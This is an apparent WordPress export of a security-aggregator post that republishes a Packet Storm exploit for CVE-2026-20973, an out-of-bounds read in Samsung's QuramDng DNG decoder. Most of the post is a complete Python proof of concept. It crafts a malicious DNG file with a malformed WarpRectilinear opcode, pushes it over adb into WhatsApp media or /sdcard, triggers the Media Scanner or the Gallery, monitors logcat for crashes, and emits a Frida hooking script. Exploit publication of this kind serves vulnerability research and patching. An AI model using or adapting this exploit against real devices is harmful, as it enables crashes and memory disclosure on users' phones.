{"id":39821,"date":"2026-02-09T10:52:42","date_gmt":"2026-02-09T10:52:42","guid":{"rendered":"http:\/\/localhost\/?p=39821"},"modified":"2026-02-09T10:52:42","modified_gmt":"2026-02-09T10:52:42","slug":"samsung-quramdng-warp-out-of-bounds-read","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=39821","title":{"rendered":"\ud83d\udcc4 Samsung QuramDng Warp Out-Of-Bounds Read_PACKETSTORM:215157"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-09T16:18:39&#8243;,&#8221;description&#8221;:&#8221;This python proof of concept demonstrates an out-of-bounds read vulnerability in Samsung&#8217;s QuramDng image processing library, triggered via a specially crafted DNG Digital Negative file. The script programmatically builds a minimal but valid DNG file&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-09T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-09T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Samsung QuramDng Warp Out-Of-Bounds Read&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215157&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-20973&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Samsung QuramDng Warp OOB Read PoC                                                                                          |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.samsung.com\/n_africa\/                                                                                           |\\n    =============================================================================================================================================\\n    \\n    [+] References :  https:\/\/packetstorm.news\/files\/id\/215033\/ \\u0026 CVE-2026-20973\\n    \\n    [+] Summary    : This Python proof of concept demonstrates an out-of-bounds (OOB) read vulnerability in Samsung\u2019s QuramDng image processing library, triggered via a specially crafted DNG (Digital Negative) file.\\n                     The script programmatically builds a minimal but valid DNG file containing a malformed WarpRectilinear opcode, designed to provoke unsafe memory access when processed by Samsung components such as Media Scanner (ipservice) or the Gallery app.\\n    \\n    [+] The PoC includes:\\n    \\n    Automatic creation of the malicious DNG file.\\n    \\n    Multiple trigger methods (Media Scanner or Gallery).\\n    \\n    Logcat-based crash monitoring to detect SIGSEGV or QuramDng-related faults.\\n    \\n    Optional generation of a Frida JavaScript monitoring script to observe Warp-related function calls at runtime.\\n    \\n    [+]PoC : python poc.py\\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import struct\\n    import os\\n    import subprocess\\n    import sys\\n    import time\\n    \\n    \\n    \\n    def create_dng_file(filename=\\&#8221;exploit.dng\\&#8221;, width=3, height=3):\\n        \\&#8221;\\&#8221;\\&#8221;\\n        \\n        \\&#8221;\\&#8221;\\&#8221;\\n        print(f\\&#8221;[+] Creating DNG {width}x{height}\\&#8221;)\\n        \\n        data = bytearray()\\n        data.extend(b&#8217;II&#8217;)                    \\n        data.extend(struct.pack(&#8216;\\u003cH&#8217;, 42))     \\n        data.extend(struct.pack(&#8216;\\u003cI&#8217;, 8))      \\n        data.extend(struct.pack(&#8216;\\u003cH&#8217;, 7))\\n        data.extend(struct.pack(&#8216;\\u003cHH&#8217;, 256, 4))  \\n        data.extend(struct.pack(&#8216;\\u003cI&#8217;, 1))        \\n        data.extend(struct.pack(&#8216;\\u003cI&#8217;, width))    \\n        data.extend(struct.pack(&#8216;\\u003cHH&#8217;, 257, 4))\\n        data.extend(struct.pack(&#8216;\\u003cI&#8217;, 1))\\n        data.extend(struct.pack(&#8216;\\u003cI&#8217;, height))\\n        data.extend(struct.pack(&#8216;\\u003cHH&#8217;, 258, 3))   \\n        data.extend(struct.pack(&#8216;\\u003cI&#8217;, 3))        \\n        bps_offset = 8 + 2 + (7 * 12) + 4 + 6    \\n        data.extend(struct.pack(&#8216;\\u003cI&#8217;, bps_offset))\\n        data.extend(struct.pack(&#8216;\\u003cHH&#8217;, 259, 3))\\n        data.extend(struct.pack(&#8216;\\u003cI&#8217;, 1))\\n        data.extend(struct.pack(&#8216;\\u003cH&#8217;, 1))         \\n        data.extend(b&#8217;\\\\x00\\\\x00&#8242;)\\n        data.extend(struct.pack(&#8216;\\u003cHH&#8217;, 262, 3))\\n        data.extend(struct.pack(&#8216;\\u003cI&#8217;, 1))\\n        data.extend(struct.pack(&#8216;\\u003cH&#8217;, 2))        \\n        data.extend(b&#8217;\\\\x00\\\\x00&#8242;)\\n        data.extend(struct.pack(&#8216;\\u003cHH&#8217;, 273, 4))\\n        data.extend(struct.pack(&#8216;\\u003cI&#8217;, 1))\\n        strip_offset = bps_offset + 6 + (width * height * 3 * 2) + 100\\n        data.extend(struct.pack(&#8216;\\u003cI&#8217;, strip_offset))\\n        data.extend(struct.pack(&#8216;\\u003cHH&#8217;, 51024, 1))  \\n        opcode_size = 100\\n        data.extend(struct.pack(&#8216;\\u003cI&#8217;, opcode_size))\\n        opcode_offset = bps_offset + 6\\n        data.extend(struct.pack(&#8216;\\u003cI&#8217;, opcode_offset))\\n        data.extend(struct.pack(&#8216;\\u003cI&#8217;, 0))\\n    \\n        while len(data) \\u003c bps_offset:\\n            data.extend(b&#8217;\\\\x00&#8242;)\\n        data.extend(struct.pack(&#8216;\\u003cHHH&#8217;, 16, 16, 16))\\n    \\n        while len(data) \\u003c opcode_offset:\\n            data.extend(b&#8217;\\\\x00&#8242;)\\n    \\n        opcode = bytearray()\\n        opcode.extend(struct.pack(&#8216;\\u003cH&#8217;, 9))      \\n        opcode.extend(struct.pack(&#8216;\\u003cH&#8217;, 1))     \\n        opcode.extend(struct.pack(&#8216;\\u003cI&#8217;, 0))     \\n        opcode.extend(struct.pack(&#8216;\\u003cI&#8217;, 3))\\n        opcode.extend(struct.pack(&#8216;\\u003cI&#8217;, 0))      \\n        opcode.extend(struct.pack(&#8216;\\u003cI&#8217;, 0))     \\n        opcode.extend(struct.pack(&#8216;\\u003cI&#8217;, height)) \\n        opcode.extend(struct.pack(&#8216;\\u003cI&#8217;, width))  \\n        opcode.extend(struct.pack(&#8216;\\u003cf&#8217;, 0.0))\\n        opcode.extend(struct.pack(&#8216;\\u003cf&#8217;, 0.0))\\n    \\n        for i in range(8):\\n            val = 1000.0 if i == 0 else 1.0\\n            opcode.extend(struct.pack(&#8216;\\u003cf&#8217;, val))\\n        for _ in range(3 * 3):\\n            opcode.extend(struct.pack(&#8216;\\u003cf&#8217;, 1.0))\\n        if len(opcode) \\u003c opcode_size:\\n            opcode.extend(b&#8217;\\\\xCC&#8217; * (opcode_size &#8211; len(opcode)))\\n        \\n        data.extend(opcode)\\n    \\n        for y in range(height):\\n            for x in range(width):\\n                for c in range(3):  \\n                    value = (y \\u003c\\u003c 8) | x | (c \\u003c\\u003c 12)\\n                    data.extend(struct.pack(&#8216;\\u003cH&#8217;, value))\\n        \\n        data.extend(b&#8217;OOB_DATA:START&#8217;)\\n        for i in range(512):\\n            data.extend(struct.pack(&#8216;B&#8217;, (i % 26) + 65))  # A-Z pattern\\n    \\n        with open(filename, &#8216;wb&#8217;) as f:\\n            f.write(data)\\n        \\n        print(f\\&#8221;[+] Created {filename} ({len(data)} bytes)\\&#8221;)\\n        return filename\\n    \\n    def check_adb():\\n        \\&#8221;\\&#8221;\\&#8221;Check ADB connection\\&#8221;\\&#8221;\\&#8221;\\n        try:\\n            result = subprocess.run([&#8216;adb&#8217;, &#8216;devices&#8217;], \\n                                  capture_output=True, text=True, timeout=5)\\n            return &#8216;device&#8217; in result.stdout\\n        except:\\n            return False\\n    \\n    def push_file(local_file, remote_path):\\n        \\&#8221;\\&#8221;\\&#8221;Push file to device\\&#8221;\\&#8221;\\&#8221;\\n        try:\\n    \\n            remote_dir = os.path.dirname(remote_path)\\n            if remote_dir:\\n                subprocess.run([&#8216;adb&#8217;, &#8216;shell&#8217;, &#8216;mkdir&#8217;, &#8216;-p&#8217;, remote_dir],\\n                             capture_output=True)\\n    \\n            result = subprocess.run([&#8216;adb&#8217;, &#8216;push&#8217;, local_file, remote_path],\\n                                  capture_output=True, text=True, timeout=30)\\n            return result.returncode == 0\\n        except:\\n            return False\\n    \\n    def trigger_media_scanner(file_path):\\n        \\&#8221;\\&#8221;\\&#8221;Trigger Media Scanner\\&#8221;\\&#8221;\\&#8221;\\n        try:\\n            cmd = [\\n                &#8216;adb&#8217;, &#8216;shell&#8217;, &#8216;am&#8217;, &#8216;broadcast&#8217;,\\n                &#8216;-a&#8217;, &#8216;android.intent.action.MEDIA_SCANNER_SCAN_FILE&#8217;,\\n                &#8216;-d&#8217;, f&#8217;file:\/\/{file_path}&#8217;\\n            ]\\n            result = subprocess.run(cmd, capture_output=True, text=True, timeout=10)\\n            return result.returncode == 0\\n        except:\\n            return False\\n    \\n    def open_with_gallery(file_path):\\n        \\&#8221;\\&#8221;\\&#8221;Open file with Gallery\\&#8221;\\&#8221;\\&#8221;\\n        try:\\n            cmd = [\\n                &#8216;adb&#8217;, &#8216;shell&#8217;, &#8216;am&#8217;, &#8216;start&#8217;,\\n                &#8216;-a&#8217;, &#8216;android.intent.action.VIEW&#8217;,\\n                &#8216;-t&#8217;, &#8216;image\/x-adobe-dng&#8217;,\\n                &#8216;-d&#8217;, f&#8217;file:\/\/{file_path}&#8217;,\\n                &#8216;com.samsung.gallery3d&#8217;\\n            ]\\n            result = subprocess.run(cmd, capture_output=True, text=True, timeout=10)\\n            return result.returncode == 0\\n        except:\\n            return False\\n    \\n    def monitor_logs(timeout=120):\\n        \\&#8221;\\&#8221;\\&#8221;\\n        Monitor logs for crashes related to QuramDng\\n        Simple and reliable version\\n        \\&#8221;\\&#8221;\\&#8221;\\n        print(f\\&#8221;[*] Monitoring logs for {timeout} seconds&#8230;\\&#8221;)\\n        print(\\&#8221;[*] Press Ctrl+C to stop\\&#8221;)\\n        \\n        try:\\n            subprocess.run([&#8216;adb&#8217;, &#8216;logcat&#8217;, &#8216;-c&#8217;], capture_output=True)\\n            \\n            cmd = [&#8216;adb&#8217;, &#8216;logcat&#8217;, &#8216;-s&#8217;, &#8216;libc:V&#8217;, &#8216;DEBUG:V&#8217;]\\n            proc = subprocess.Popen(cmd,\\n                                  stdout=subprocess.PIPE,\\n                                  stderr=subprocess.PIPE,\\n                                  text=True,\\n                                  bufsize=1,\\n                                  universal_newlines=True)\\n            \\n            start_time = time.time()\\n            interesting = []\\n            \\n            while time.time() &#8211; start_time \\u003c timeout:\\n                if proc.poll() is not None:\\n                    break\\n                \\n                try:\\n                    line = proc.stdout.readline()\\n                    if not line:\\n                        time.sleep(0.1)\\n                        continue\\n                    \\n                    line = line.strip()\\n    \\n                    if any(keyword in line for keyword in [\\n                        &#8216;SIGSEGV&#8217;, &#8216;Fatal signal&#8217;, &#8216;libimagecodec&#8217;,\\n                        &#8216;QuramDng&#8217;, &#8216;Warp&#8217;, &#8216;out-of-bounds&#8217;\\n                    ]):\\n                        interesting.append(line)\\n                        print(f\\&#8221;[!] {line}\\&#8221;)\\n                        if &#8216;libimagecodec.quram&#8217; in line:\\n                            print(\\&#8221;[+] QuramDng library involved!\\&#8221;)\\n    \\n                        if &#8216;backtrace:&#8217; in line:\\n                            print(\\&#8221;[+] Crash backtrace detected\\&#8221;)\\n                            \\n                            # Read next few lines for backtrace\\n                            for _ in range(20):\\n                                try:\\n                                    bt_line = proc.stdout.readline().strip()\\n                                    if bt_line and bt_line.startswith(&#8216;#&#8217;):\\n                                        print(f\\&#8221;    {bt_line}\\&#8221;)\\n                                except:\\n                                    break\\n                    elapsed = int(time.time() &#8211; start_time)\\n                    if elapsed % 10 == 0:\\n                        print(f\\&#8221;[*] {elapsed}\/{timeout}s\\&#8221;, end=&#8217;\\\\r&#8217;, flush=True)\\n                \\n                except (KeyboardInterrupt, EOFError):\\n                    print(\\&#8221;\\\\n[*] Stopped by user\\&#8221;)\\n                    break\\n                except:\\n                    continue\\n            try:\\n                proc.terminate()\\n                proc.wait(timeout=2)\\n            except:\\n                pass\\n            \\n            print(f\\&#8221;\\\\n[*] Monitoring complete\\&#8221;)\\n            \\n            if interesting:\\n                print(f\\&#8221;[*] Found {len(interesting)} interesting lines\\&#8221;)\\n                return True, interesting\\n            else:\\n                print(\\&#8221;[-] No interesting logs found\\&#8221;)\\n                return False, []\\n                \\n        except Exception as e:\\n            print(f\\&#8221;[-] Monitoring error: {e}\\&#8221;)\\n            return False, []\\n    \\n    def generate_frida_script():\\n        \\&#8221;\\&#8221;\\&#8221;\\n        Generate correct Frida JavaScript for monitoring\\n        \\&#8221;\\&#8221;\\&#8221;\\n        js_code = \\&#8221;\\&#8221;\\&#8221;\/*\\n     * Frida Script for QuramDng Monitoring\\n     * Simple and working version\\n     *\/\\n    \\n    console.log(\\&#8221;[+] Starting QuramDng monitor&#8230;\\&#8221;);\\n    \\n    var libName = \\&#8221;libimagecodec.quram.so\\&#8221;;\\n    var found = false;\\n    var interval = setInterval(function() {\\n        var modules = Process.enumerateModules();\\n        \\n        for (var i = 0; i \\u003c modules.length; i++) {\\n            var module = modules[i];\\n            if (module.name \\u0026\\u0026 module.name.indexOf(libName) !== -1) {\\n                console.log(\\&#8221;[+] Library found: \\&#8221; + module.name);\\n                console.log(\\&#8221;    Base: \\&#8221; + module.base);\\n                found = true;\\n                clearInterval(interval);\\n                hookFunctions(module);\\n                break;\\n            }\\n        }\\n        \\n        if (!found) {\\n            console.log(\\&#8221;[*] Waiting for \\&#8221; + libName + \\&#8221;&#8230;\\&#8221;);\\n        }\\n    }, 1000);\\n    \\n    function hookFunctions(module) {\\n        console.log(\\&#8221;[+] Looking for functions&#8230;\\&#8221;);\\n        \\n        var symbols = module.enumerateSymbols();\\n        var targets = [];\\n    \\n        symbols.forEach(function(symbol) {\\n            var name = symbol.name || \\&#8221;\\&#8221;;\\n            if (name.indexOf(\\&#8221;Warp\\&#8221;) !== -1) {\\n                targets.push({\\n                    name: name,\\n                    address: symbol.address\\n                });\\n            }\\n        });\\n        \\n        console.log(\\&#8221;[+] Found \\&#8221; + targets.length + \\&#8221; Warp functions\\&#8221;);\\n    \\n        targets.forEach(function(target) {\\n            try {\\n                Interceptor.attach(target.address, {\\n                    onEnter: function(args) {\\n                        console.log(\\&#8221;\\\\\\\\n[+] \\&#8221; + target.name + \\&#8221; called\\&#8221;);\\n                        this.startTime = Date.now();\\n                    },\\n                    \\n                    onLeave: function(retval) {\\n                        var duration = Date.now() &#8211; this.startTime;\\n                        console.log(\\&#8221;[+] \\&#8221; + target.name + \\&#8221; returned (\\&#8221; + duration + \\&#8221;ms)\\&#8221;);\\n                    }\\n                });\\n                console.log(\\&#8221;    [*] Hooked: \\&#8221; + target.name);\\n            } catch(e) {\\n                console.log(\\&#8221;    [-] Failed to hook \\&#8221; + target.name + \\&#8221;: \\&#8221; + e);\\n            }\\n        });\\n        \\n        console.log(\\&#8221;\\\\\\\\n[+] Monitoring active. Process DNG to see activity.\\&#8221;);\\n    }\\n    \\n    setTimeout(function() {\\n        console.log(\\&#8221;[+] Monitor timeout reached\\&#8221;);\\n        clearInterval(interval);\\n    }, 600000);\\n    \\&#8221;\\&#8221;\\&#8221;\\n        \\n        filename = \\&#8221;monitor.js\\&#8221;\\n        with open(filename, &#8216;w&#8217;) as f:\\n            f.write(js_code)\\n        \\n        print(f\\&#8221;[+] Frida script saved to {filename}\\&#8221;)\\n        print(\\&#8221;\\\\nUsage:\\&#8221;)\\n        print(\\&#8221;  1. Start Frida server on device:\\&#8221;)\\n        print(\\&#8221;     adb shell \/data\/local\/tmp\/frida-server \\u0026\\&#8221;)\\n        print(\\&#8221;  2. Run monitor:\\&#8221;)\\n        print(\\&#8221;     frida -U com.samsung.ipservice -l monitor.js\\&#8221;)\\n        \\n        return filename\\n    \\n    def main():\\n        \\&#8221;\\&#8221;\\&#8221;Main program &#8211; simple and reliable\\&#8221;\\&#8221;\\&#8221;\\n        print(\\&#8221;=\\&#8221; * 60)\\n        print(\\&#8221;Samsung QuramDng Warp OOB Read PoC\\&#8221;)\\n        print(\\&#8221;CVE-2026-20973\\&#8221;)\\n        print(\\&#8221;=\\&#8221; * 60)\\n    \\n        print(\\&#8221;\\\\n[*] Checking ADB&#8230;\\&#8221;)\\n        if not check_adb():\\n            print(\\&#8221;[-] ADB not connected\\&#8221;)\\n            print(\\&#8221;\\\\nPlease:\\&#8221;)\\n            print(\\&#8221;1. Enable USB debugging\\&#8221;)\\n            print(\\&#8221;2. Connect device\\&#8221;)\\n            print(\\&#8221;3. Accept debugging prompt\\&#8221;)\\n            return\\n        print(\\&#8221;[+] ADB connected\\&#8221;)\\n    \\n        print(\\&#8221;\\\\n[*] Creating DNG file&#8230;\\&#8221;)\\n        try:\\n            dng_file = create_dng_file()\\n        except Exception as e:\\n            print(f\\&#8221;[-] Failed to create DNG: {e}\\&#8221;)\\n            return\\n    \\n        print(\\&#8221;\\\\nChoose method:\\&#8221;)\\n        print(\\&#8221;1. Media Scanner (ipservice &#8211; automatic)\\&#8221;)\\n        print(\\&#8221;2. Gallery (manual &#8211; immediate)\\&#8221;)\\n        print(\\&#8221;3. Just create file\\&#8221;)\\n        print(\\&#8221;4. Generate Frida script\\&#8221;)\\n        \\n        choice = input(\\&#8221;\\\\nChoice [1-4]: \\&#8221;).strip()\\n        \\n        if choice == \\&#8221;1\\&#8221;:\\n    \\n            print(\\&#8221;\\\\n[*] Using Media Scanner method&#8230;\\&#8221;)\\n    \\n            remote_path = \\&#8221;\/sdcard\/Android\/media\/com.whatsapp\/WhatsApp\/Media\/WhatsApp Images\/exploit.dng\\&#8221;\\n            if push_file(dng_file, remote_path):\\n                print(\\&#8221;[+] File pushed\\&#8221;)\\n    \\n                if trigger_media_scanner(remote_path):\\n                    print(\\&#8221;[+] Media Scanner triggered\\&#8221;)\\n                    print(\\&#8221;[*] ipservice will process in ~5 minutes\\&#8221;)\\n                    print(\\&#8221;\\\\n[*] Starting log monitor&#8230;\\&#8221;)\\n                    success, logs = monitor_logs(180)  # 3 minutes\\n                    \\n                    if success:\\n                        print(\\&#8221;\\\\n[+] Possible crash detected!\\&#8221;)\\n                    else:\\n                        print(\\&#8221;\\\\n[-] No crash detected in monitoring period\\&#8221;)\\n                else:\\n                    print(\\&#8221;[-] Failed to trigger Media Scanner\\&#8221;)\\n            else:\\n                print(\\&#8221;[-] Failed to push file\\&#8221;)\\n        \\n        elif choice == \\&#8221;2\\&#8221;:\\n    \\n            print(\\&#8221;\\\\n[*] Using Gallery method&#8230;\\&#8221;)\\n            \\n            remote_path = \\&#8221;\/sdcard\/exploit.dng\\&#8221;\\n            if push_file(dng_file, remote_path):\\n                print(\\&#8221;[+] File pushed\\&#8221;)\\n                \\n                if open_with_gallery(remote_path):\\n                    print(\\&#8221;[+] Gallery opened\\&#8221;)\\n                    print(\\&#8221;[*] Gallery will process the DNG\\&#8221;)\\n                    print(\\&#8221;\\\\n[*] Monitoring for 30 seconds&#8230;\\&#8221;)\\n                    success, logs = monitor_logs(30)\\n                    \\n                    if success:\\n                        print(\\&#8221;\\\\n[+] Possible crash detected!\\&#8221;)\\n                    else:\\n                        print(\\&#8221;\\\\n[-] No crash detected\\&#8221;)\\n                else:\\n                    print(\\&#8221;[-] Failed to open Gallery\\&#8221;)\\n            else:\\n                print(\\&#8221;[-] Failed to push file\\&#8221;)\\n        \\n        elif choice == \\&#8221;3\\&#8221;:\\n            print(f\\&#8221;\\\\n[+] File created: {dng_file}\\&#8221;)\\n            print(\\&#8221;\\\\nTo test manually:\\&#8221;)\\n            print(f\\&#8221;  adb push {dng_file} \/sdcard\/\\&#8221;)\\n            print(f\\&#8221;  adb shell am start -a android.intent.action.VIEW \\\\\\\\\\&#8221;)\\n            print(f\\&#8221;    -t image\/x-adobe-dng -d file:\/\/\/sdcard\/{os.path.basename(dng_file)}\\&#8221;)\\n        \\n        elif choice == \\&#8221;4\\&#8221;:\\n            generate_frida_script()\\n        \\n        else:\\n            print(\\&#8221;[-] Invalid choice\\&#8221;)\\n    \\n        print(\\&#8221;\\\\n[*] Cleaning up&#8230;\\&#8221;)\\n        try:\\n            # Remove local file\\n            if os.path.exists(dng_file):\\n                os.remove(dng_file)\\n                print(f\\&#8221;[+] Removed {dng_file}\\&#8221;)\\n    \\n            subprocess.run([&#8216;adb&#8217;, &#8216;shell&#8217;, &#8216;rm&#8217;, &#8216;-f&#8217;,\\n                           &#8216;\/sdcard\/exploit.dng&#8217;,\\n                           &#8216;\/sdcard\/Android\/media\/com.whatsapp\/WhatsApp\/Media\/WhatsApp Images\/exploit.dng&#8217;],\\n                         capture_output=True)\\n            print(\\&#8221;[+] Cleaned device files\\&#8221;)\\n        except:\\n            pass\\n        \\n        print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221; * 60)\\n        print(\\&#8221;Done\\&#8221;)\\n        print(\\&#8221;=\\&#8221; * 60)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        try:\\n            main()\\n        except KeyboardInterrupt:\\n            print(\\&#8221;\\\\n\\\\n[*] Interrupted by user\\&#8221;)\\n        except Exception as e:\\n            print(f\\&#8221;\\\\n[-] Error: {e}\\&#8221;)\\n            import traceback\\n            traceback.print_exc()\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215157&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.1,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:N\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215157\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-09T16:18:39&#8243;,&#8221;description&#8221;:&#8221;This python proof of concept demonstrates an out-of-bounds read vulnerability in Samsung&#8217;s QuramDng image processing library, triggered via a specially crafted DNG Digital Negative file&#8230;.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,10,12,13,53,7,11,5],"class_list":["post-39821","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-91","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Samsung QuramDng Warp Out-Of-Bounds Read_PACKETSTORM:215157 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=39821\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Samsung QuramDng Warp Out-Of-Bounds Read_PACKETSTORM:215157 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-09T16:18:39&#8243;,&#8221;description&#8221;:&#8221;This python proof of concept demonstrates an out-of-bounds read vulnerability in Samsung&#8217;s QuramDng image processing library, triggered via a specially crafted DNG Digital Negative file....\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=39821\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-09T10:52:42+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39821#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39821\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Samsung QuramDng Warp Out-Of-Bounds Read_PACKETSTORM:215157\",\"datePublished\":\"2026-02-09T10:52:42+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39821\"},\"wordCount\":2275,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.1\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=39821#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39821\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39821\",\"name\":\"\ud83d\udcc4 Samsung QuramDng Warp Out-Of-Bounds Read_PACKETSTORM:215157 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-09T10:52:42+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39821#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=39821\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39821#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Samsung QuramDng Warp Out-Of-Bounds Read_PACKETSTORM:215157\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero 